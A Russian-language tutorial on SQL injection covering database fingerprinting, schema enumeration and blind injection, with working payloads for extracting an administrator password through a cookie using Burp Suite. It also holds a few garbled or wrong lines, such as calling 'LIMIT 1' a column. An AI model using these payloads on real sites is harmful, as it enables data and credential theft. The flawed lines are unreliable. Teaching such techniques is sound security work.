Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!
И это заключительная часть цикла статей про SQL-инъекции. В ней мы с вами узнаем, как можно собирать информацию о БД путем применения инъекций и затронем тему слепых SQL-инъекций.
При использовании SQL-инъекций часто необходимо собрать некоторую информацию о самой базе данных. Сюда входит тип и версия программного обеспечения базы данных, а также содержимое базы данных с точки зрения того, что у нее есть внутри. Это разные таблицы, колонки, и тд.
Запрос типа и версии базы данных
Различные базы данных предоставляют разные способы запроса своей версии. Часто приходится пробовать разные запросы, чтобы найти тот, который работает и позволяет определить тип и версию программного обеспечения базы данных.
Ниже приведены запросы для определения версии базы данных для некоторых популярных типов баз данных:
Microsoft, MySQL
SELECT @@version
Oracle
SELECT * FROM v$version
PostgreSQL
SELECT version()
Также при таких запросах можете использовать ключевое слово UNION:
' UNION SELECT @@version--
Узнаем ключевую информацию о БД
Большинство типов баз данных (за исключением Oracle) имеют набор представлений, называемых информационной схемой, которые предоставляют информацию о базе данных.
Вы можете запросить information_schema.tables, чтобы перечислить таблицы в базе данных:
SELECT * FROM information_schema.tables
Этот запрос вернет следующий вывод:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ================================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
Этот вывод сообщает вам, что есть 3 таблицы, которые называются Users, Products, Feedback.
Затем вы можете запросить information_schema.columns, чтобы перечислить столбцы в отдельных таблицах:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Это запрос вернет следующий вывод:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ===========================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
union select table_name, null from inf...--
union select column_name, null from inf.. where table_name=''--
Что же, в Oracle вы можете сделать то же самое, что мы показывали выше.
Вы можете перечислить таблицы с помощью запроса all_tables:
SELECT * FROM all_tables
А перечислить столбцы можно с помощью запроса all_tab_columns:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
Слепые SQL-инъекции
Слепая SQL-инъекция возникает, когда приложение уязвимо к SQL-инъекции, но его HTTP-ответы не содержат результатов соответствующего SQL-запроса или подробностей ошибок базы данных.
При слепой SQL-инъекции многие методы, такие как UNION-атаки, неэффективны, поскольку они полагаются на возможность увидеть результаты введенного запроса в ответах приложения. Использовать слепую SQL-инъекцию для доступа к несанкционированным данным все еще возможно, но для этого необходимо использовать другие техники.
Эксплуатация слепой SQL-инъекции путем запуска условных ответов
Рассмотрим приложение, которое использует файлы cookie для сбора аналитических данных об использовании. Запросы к приложению содержат заголовок cookie следующего вида:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
Когда обрабатывается запрос, содержащий куки TrackingId, приложение определяет, является ли пользователь известным, используя SQL-запрос, подобный этому:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
Этот запрос уязвим для SQL-инъекции, но результаты запроса не возвращаются пользователю. Однако приложение ведет себя по-разному в зависимости от того, возвращает ли запрос какие-либо данные. Если он возвращает данные (поскольку был передан распознанный TrackingId), то на странице отображается сообщение "Добро пожаловать обратно".
Такого поведения достаточно, чтобы понять, что проходит SQL-инъекция и получить информацию, вызывая различные ответы условно, в зависимости от условия инъекции. Чтобы увидеть, как это работает, предположим, что отправлены два запроса, содержащие поочередно следующие значения куки TrackingId:
…xyz' AND '1'='1
…xyz' AND '1'='2
Первое из этих значений приведет к тому, что запрос вернет результаты, поскольку инжектированное условие AND '1'='1 истинно, и поэтому сообщение "Welcome back" будет отображено. В то время как второе значение приведет к тому, что запрос не вернет никаких результатов, поскольку инжектированное условие ложно, и сообщение "Welcome back" не будет выведено. Это позволяет нам определить ответ на любое отдельное введенное условие и таким образом извлекать данные по одному биту за раз.
Например, предположим, есть таблица Users со столбцами Username и Password и пользователь Administrator. Мы можем систематически определять пароль для этого пользователя, посылая серию входных данных для проверки пароля по одному символу за раз.
Для этого мы начнем со следующего ввода:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
Мы можем продолжить этот процесс, чтобы систематически определять полный пароль для пользователя Administrator.
Как примерно у нас будет развиваться вектор атаки:
TrackingId = 'u5YD3PapBcR4lN3e7Tj4' and select trackingID from tracking table where trackingID='352jgsngoUTEb' and 1=1--
У нас открыто поле запроса в Repeater в BurpSuite и среди заголовков есть TrackingID, туда мы и помещаем нашу инъекцию. Проверяем ответит ли нам приложение по разному при 1=1 и 1=0. Если отвечает по разному значит можем бахнуть SQL (при true отвечает к примеру 'Welcome back')
дальше предполагаем, что у нас есть таблица юзеров и делаем следующий запрос
trID = kjvsjBHBA8' and (select 'x' from users LIMIT 1) = 'x'
,
где LIMIT 1 это колонка. Если true, колонка пользаков существуетand (select username from users where username = 'administrator') = 'administrator'--
Это мы проверяем наличие пользователя-админа в БД.
Дальше вычисляем длину пароля
and (select username from users where username = 'administrator' and LENGTH(password)>1) = 'administrator'--
Бахаем sniper attack в intruder и прогоняем с 1 до 50, где изменилась длина в intruder, то это показатель того, что мы определили размер пароля
Брутим пароль с атакой cluster bomb:
and (select substring(password,1,1) from users where username = 'administrator') = 'a'--
Вызывание условных ответов путем инициирования ошибок SQL
Предшествующая техника не сработает, поскольку введение различных булевых условий никак не повлияет на ответы приложения.
В этой ситуации часто можно заставить приложение возвращать условные ответы, вызывая ошибки SQL условно, в зависимости от введенного условия. Это предполагает изменение запроса таким образом, чтобы он вызывал ошибку базы данных, если условие истинно, но не если условие ложно. Очень часто необработанная ошибка, выброшенная базой данных, вызывает некоторое различие в ответе приложения (например, сообщение об ошибке), что позволяет нам сделать вывод об истинности введенного условия.
Чтобы увидеть, как это работает, предположим, что отправлены два запроса, содержащие поочередно следующие значения куки TrackingId:
`xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
Слепые инъекции путем вызова временных задержек
Методы запуска временной задержки зависят от типа используемой базы данных. В Microsoft SQL Server для проверки условия и запуска задержки в зависимости от того, истинно ли выражение, можно использовать ввод, подобный следующему:
IF (1=2) WAITFOR DELAY '0:0:10'--
IF (1=1) WAITFOR DELAY '0:0:10'--
Первый из этих входов не вызовет задержку, так как условие 1=2 ложно. Второй вход вызовет задержку на 10 секунд, потому что условие 1=1 истинно.
Используя эту технику, мы можем получать данные уже описанным способом, систематически проверяя по одному символу за раз:
IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--